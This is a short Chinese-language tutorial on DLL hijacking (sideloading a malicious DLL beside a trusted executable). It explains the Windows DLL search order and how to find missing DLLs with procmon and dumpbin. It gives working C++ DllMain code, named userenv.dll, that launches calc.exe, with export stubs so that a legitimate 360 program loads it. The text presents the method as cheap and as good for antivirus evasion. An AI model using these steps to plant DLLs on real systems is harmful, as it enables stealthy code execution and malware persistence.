也就是我们常说的
dll
劫持,之所以把该方法单独提出来说是因为确实太好用了,如果平时有关注
apt
样 本的话,其实很多都有lolbin
的影子,也就是通过我们常说的白加黑,实际上是一回事
被倾爱的原因有:
1.
低成本挖掘
2.
样本存活时间相对较长
3.
免杀成本更低
首先我们来了解一下dll的加载顺序
①EXE
所在目录
②当前目录
GetCurrentDirectory()
③系统目录
GetSystemDirectory()
④WINDOWS
目录
GetWindowsDirectory()
⑤环境变量
PATH
所包含的目录
故:给我们劫持提供了思路,去寻找它运行时需要加载的dll
一、
劫持后一次执行
一般来说各种
lolbin(Living Off the Land Binaries)
就是这种模式,之所以只能执行一次,是因为该
exe
需 要用到某个dll
的某个具体功能,我们程序只是简单的导出了相关函数名,但并未有实际函数内容。 该方式适合于一次执行某些功能,或者通过远程线程注入进行上线。
这里举一个例子,关于如何快速挖 掘,我们可以先找一个白程序,下载后打开他对应的目录。
将他的某一个
exe
单独提取到一个目录下,然后开启
procmon64.exe
,可以用来监控进程行为,对于此 时,我们可以通过这个工具找到这个exe
需要加载哪些
dll
然后双击该
exe
,他也许什么也不会发生,这是因为他缺少某些
dll
跑不起来,在
procmon
中可以看到它加载了哪些dll
,并且是处于未找到的状态。
我们首先尝试直接编写一个
dll
,改名为
userenv.dll
,功能为弹出计算器:
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateProcessA(NULL, (LPSTR)"calc.exe", NULL, NULL, FALSE, 0, NULL,
NULL, (LPSTARTUPINFOA)&si, (LPPROCESS_INFORMATION)&pi);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
为了保证
exe
能正确加载某一个
dll
,我们需要在程序编写时,要导出一些函数,否则会出现
xxx
函数找不到的情况或者直接报错
为了获得更加详尽的信息,我们通过
dumpbin
或者其他
pe
工具查看当前程序的导入表,注意
dumpbin的版本问题(64/32位)
dumpbin.exe /imports 360DeskAna64.exe
然后我们显式声明这些导入函数
extern "C" __declspec(dllexport) void xxx(){
}
生成dll,并将其与exe
放置在同一目录下,然后运行exe,成功执行代码弹出计算器